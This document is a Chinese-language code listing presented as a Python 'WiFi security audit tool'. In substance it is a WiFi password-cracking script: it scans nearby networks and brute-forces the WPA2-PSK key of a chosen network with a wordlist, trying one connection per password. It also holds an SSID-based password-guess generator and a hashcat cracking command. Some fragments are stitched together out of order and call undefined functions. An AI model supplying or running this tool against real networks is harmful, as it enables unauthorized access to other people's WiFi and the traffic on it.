基于Python打造一个WiFi命令行安全审计工具

pip install pywifi colorama psutil

class WifiController:
    def __init__(self):
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        
    def set_monitor_mode(self, enable=True):
        """切换监听模式（需驱动支持）"""
        if enable:
            self.iface.set_mode(const.IFACE_MODE_MONITOR)
        else:
            self.iface.set_mode(const.IFACE_MODE_STATION)

def generate_smart_dict(ssid):
    """基于SSID的智能字典生成"""
    rules = [
        lambda s: s + "123456",          # TP-Link_5G -> TP-Link_5G123456
        lambda s: s.replace("_","") + "!", # TP-Link_5G -> TPLink5G!
        lambda s: s.split("_")[0] + "admin" # TP-Link_5G -> TP-Linkadmin
    ]
    return [rule(ssid) for rule in rules]

def evaluate_signal(rssi):
    """基于RSSI的信号质量评估"""
    if rssi >= -50:
        return "██████████ 极强"
    elif -60 <= rssi < -50:
        return "████████   强" 
    elif -70 <= rssi < -60:
        return "█████      中"
    else:
        return "██         弱"

import pywifi
from pywifi import const
import time
import os
import glob

def print_banner():
    banner = """
    ╔════════════════════════════════════════════════════════════════════════════════════════════════╗
    ║    ██╗    ██╗██╗███████╗██╗     ██████╗ ██████╗  █████╗  ██████╗██╗  ██╗██╗███╗   ██╗ ██████╗  ║
    ║    ██║    ██║██║██╔════╝██║    ██╔═══██╗██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██║████╗  ██║██╔════╝  ║
    ║    ██║ █╗ ██║██║█████╗  ██║    ██║   ██║██████╔╝███████║██║     █████╔╝ ██║██╔██╗ ██║██║  ███╗ ║
    ║    ██║███╗██║██║██╔══╝  ██║    ██║   ██║██╔══██╗██╔══██║██║     ██╔═██╗ ██║██║╚██╗██║██║   ██║ ║
    ║    ╚███╔███╔╝██║██║     ██║    ╚██████╔╝██║  ██║██║  ██║╚██████╗██║  ██╗██║██║ ╚████║╚██████╔╝ ║
    ║     ╚══╝╚══╝ ╚═╝╚═╝     ╚═╝     ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝  ║
    ║                                  无线WiFi数据审计工具-白泽                                     ║
    ╚════════════════════════════════════════════════════════════════════════════════════════════════╝
    """
    print("\033[1;32m" + banner + "\033[0m")

def list_wifi_interfaces():
    """列出所有无线网卡"""
    wifi = pywifi.PyWiFi()
    interfaces = wifi.interfaces()
    
    if not interfaces:
        print("🔴 未检测到任何无线网卡！")
        return None
    
    print("\n🤖 可用的无线网卡:")
    for i, iface in enumerate(interfaces, 1):
        print(f" [{i}].{iface.name()} (状态: {get_status_name(iface.status())})")
    return interfaces


def get_status_name(status):
    """获取状态名称"""
    status_map = {
        const.IFACE_DISCONNECTED: "🔴 未连接",
        const.IFACE_SCANNING: "🟡 扫描中",
        const.IFACE_INACTIVE: "⚪ 未激活",
        const.IFACE_CONNECTING: "🟠 连接中",
        const.IFACE_CONNECTED: "🟢 已连接"
    }
    return status_map.get(status, "❓ 未知状态")

def list_dict_files():
    """列出当前目录下所有txt字典文件"""
    dict_files = glob.glob("*.txt")
    
    if not dict_files:
        print("🔴 当前目录下未找到任何txt字典文件！")
        return None
    
    print("\n🟢 可用的字典文件:")
    for i, file in enumerate(dict_files, 1):
        file_size = os.path.getsize(file) / 1024  # KB
        print(f"📄 {i}. {file} ({file_size:.2f} KB)")
    
    return dict_files

def select_option(options, option_type, allow_zero=True):
    """选择选项"""
    while True:
        try:
            prompt = f"\n👉 请选择{option_type}[1-{len(options)}]"
            if allow_zero:
                prompt += "，或输入[0]返回主页面"
            prompt += "，或输入[#]退出程序: "
            
            choice = input(prompt).strip().lower()  # 去除前后空格并转为小写
            
            if choice == '#':
                print("\n⛓️‍💥 正在退出程序...")
                exit(0)
            if allow_zero and choice == '0':
                return None
                
            choice = int(choice)
            if 1 <= choice <= len(options):
                return options[choice-1]
            else:
                print(f"🤖  请输入1-{len(options)}之间的数字！") 
        except ValueError:
            print("🤖 请输入有效的数字！")
            
def decode_ssid(ssid):
    """解码SSID，处理乱码问题"""
    if not ssid:
        return "🌐 <隐藏网络>"
    
    # 尝试多种编码方式
    encodings = ['utf-8', 'gbk', 'latin-1']
    for enc in encodings:
        try:
            if isinstance(ssid, bytes):
                return ssid.decode(enc)
            else:
                return ssid.encode('raw_unicode_escape').decode(enc)
        except:
            continue
    
    # 如果所有解码都失败，返回十六进制表示
    if isinstance(ssid, str):
        return ''.join(f'\\x{ord(c):02x}' for c in ssid)
    else:
        return ''.join(f'\\x{b:02x}' for b in ssid)

def scan_and_list_wifi(iface):
    """扫描并列出所有WiFi网络（按信号强度排序）"""
    print("\n🔍 正在扫描WiFi网络，请稍候⌛...")
    iface.scan()
    time.sleep(5)  # 等待扫描完成
    scan_results = iface.scan_results()
    
    if not scan_results:
        print("🔴 未扫描到任何WiFi网络")
        return None
    
    # 按信号强度排序（从强到弱）
    sorted_results = sorted(scan_results, key=lambda x: x.signal, reverse=True)
    
    wifi_list = []
    print("\n🛜 可用的WiFi网络（按信号强度排序）:")
    print("━" * 85)
    print("🔢 序号 | 🛜 WiFi名称         | 🆔 BSSID            | 📶 信号强度   |   🔒 加密方式 ")
    print("━" * 85)
    
    for i, result in enumerate(sorted_results, 1):
        ssid = decode_ssid(result.ssid)
        
        # 限制SSID显示长度
        display_ssid = (ssid[:20] + '...') if len(ssid) > 23 else ssid.ljust(23)
        
        bssid = result.bssid
        signal = f"{result.signal}dBm"
        auth = get_auth_name(result.akm)
        
        print(f"{i:<4} | {display_ssid:<23} | {bssid} | {signal:<8} | {auth}")
        wifi_list.append({
            'ssid': result.ssid,  # 存储原始SSID用于连接
            'display_ssid': ssid,  # 存储解码后的SSID用于显示
            'bssid': bssid,
            'signal': result.signal,
            'auth': result.akm
        })
    
    print("━" * 85)
    return wifi_list

def get_auth_name(akm_list):
    """获取加密方式名称"""
    if not akm_list:
        return "🔓 开放网络"
    
    auth_map = {
        const.AKM_TYPE_NONE: "🔓 无",
        const.AKM_TYPE_WPA: "🔐 WPA",
        const.AKM_TYPE_WPAPSK: "🔐 WPA-PSK",
        const.AKM_TYPE_WPA2: "🔐 WPA2",
        const.AKM_TYPE_WPA2PSK: "🔐 WPA2-PSK",
        const.AKM_TYPE_UNKNOWN: "❓ 未知"
    }
    
    auths = []
    for akm in akm_list:
        auths.append(auth_map.get(akm, str(akm)))
    
    return " + ".join(auths)

def wifi_connect(iface, ssid, pwd):
    """尝试连接WiFi"""
    # 断开当前连接
    iface.disconnect()
    time.sleep(1)
    
    if iface.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 最常见的加密方式
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        
        iface.remove_all_network_profiles()
        temp_profile = iface.add_network_profile(profile)
        
        iface.connect(temp_profile)
        time.sleep(3)
        
        if iface.status() == const.IFACE_CONNECTED:
            return True
    return False

def wifi_crack():
    """主破解函数"""
    while True:
        print_banner()
        
        # 选择无线网卡
        interfaces = list_wifi_interfaces()
        if not interfaces:
            input("\n🤖 按Enter键返回主页面...")
            continue
            
        iface = select_option(interfaces, "无线网卡")
        if not iface:
            continue
        
        # 扫描并选择WiFi网络
        wifi_list = scan_and_list_wifi(iface)
        if not wifi_list:
            input("\n🤖 按Enter键返回主页面...")
            continue
            
        selected_wifi = select_option(wifi_list, "WiFi网络")
        if not selected_wifi:
            continue
        
        # 检查是否是开放网络
        if not selected_wifi['auth']:
            print(f"\n🎉 网络 {selected_wifi['display_ssid']} 是开放网络，无需密码！")
            input("\n🤖 按Enter键返回主页面...")
            continue
        
        # 选择字典文件
        dict_files = list_dict_files()
        if not dict_files:
            input("\n🤖 按Enter键返回主页面...")
            continue
            
        dict_file = select_option(dict_files, "字典文件")
        if not dict_file:
            continue
        
        # 加载密码字典
        try:
            with open(dict_file, "r", errors='ignore') as f:
                passwords = [p.strip() for p in f.readlines() if p.strip()]
        except Exception as e:
            print(f"🔴 读取字典文件失败: {str(e)}")
            input("\n按Enter键返回主页面...")
            continue
        
        print(f"\n🤖 开始破解 WiFi: {selected_wifi['display_ssid']}")
        print(f"💻 使用网卡: {iface.name()}")
        print(f"📚 使用字典: {dict_file}")
        print(f"🔒 加密方式: {get_auth_name(selected_wifi['auth'])}")
        print(f"📡 信号强度: {selected_wifi['signal']}dBm")
        print(f"🔑 加载密码数量: {len(passwords)}")
        print("━" * 50)
        
        for idx, pwd in enumerate(passwords, 1):
            try:
                print(f"\r🔑 尝试密码 [{idx}/{len(passwords)}]: {pwd}", end="", flush=True)
                if wifi_connect(iface, selected_wifi['ssid'], pwd):
                    print(f"\n\n🎉🎉🎉 密码破解成功！")
                    print(f"🛜 WiFi名称: {selected_wifi['display_ssid']}")
                    print(f"🔑 密码: \033[1;32m{pwd}\033[0m")
                    input("\n按Enter键返回主页面...")
                    break
            except KeyboardInterrupt:
                print("\n🤖 用户中断操作")
                input("\n按Enter键返回主页面...")
                break
            except Exception as e:
                continue
        else:
            print("\n\n🔴 密码破解失败，字典中没有正确密码")
            input("\n按Enter键返回主页面...")

if __name__ == "__main__":
    wifi_crack()

from concurrent.futures import ThreadPoolExecutor

with ThreadPoolExecutor(max_workers=4) as executor:
    executor.map(try_password, password_chunk)

# 需配合hashcat使用
os.system(f"hashcat -m 2500 capture.hccapx dict.txt --force")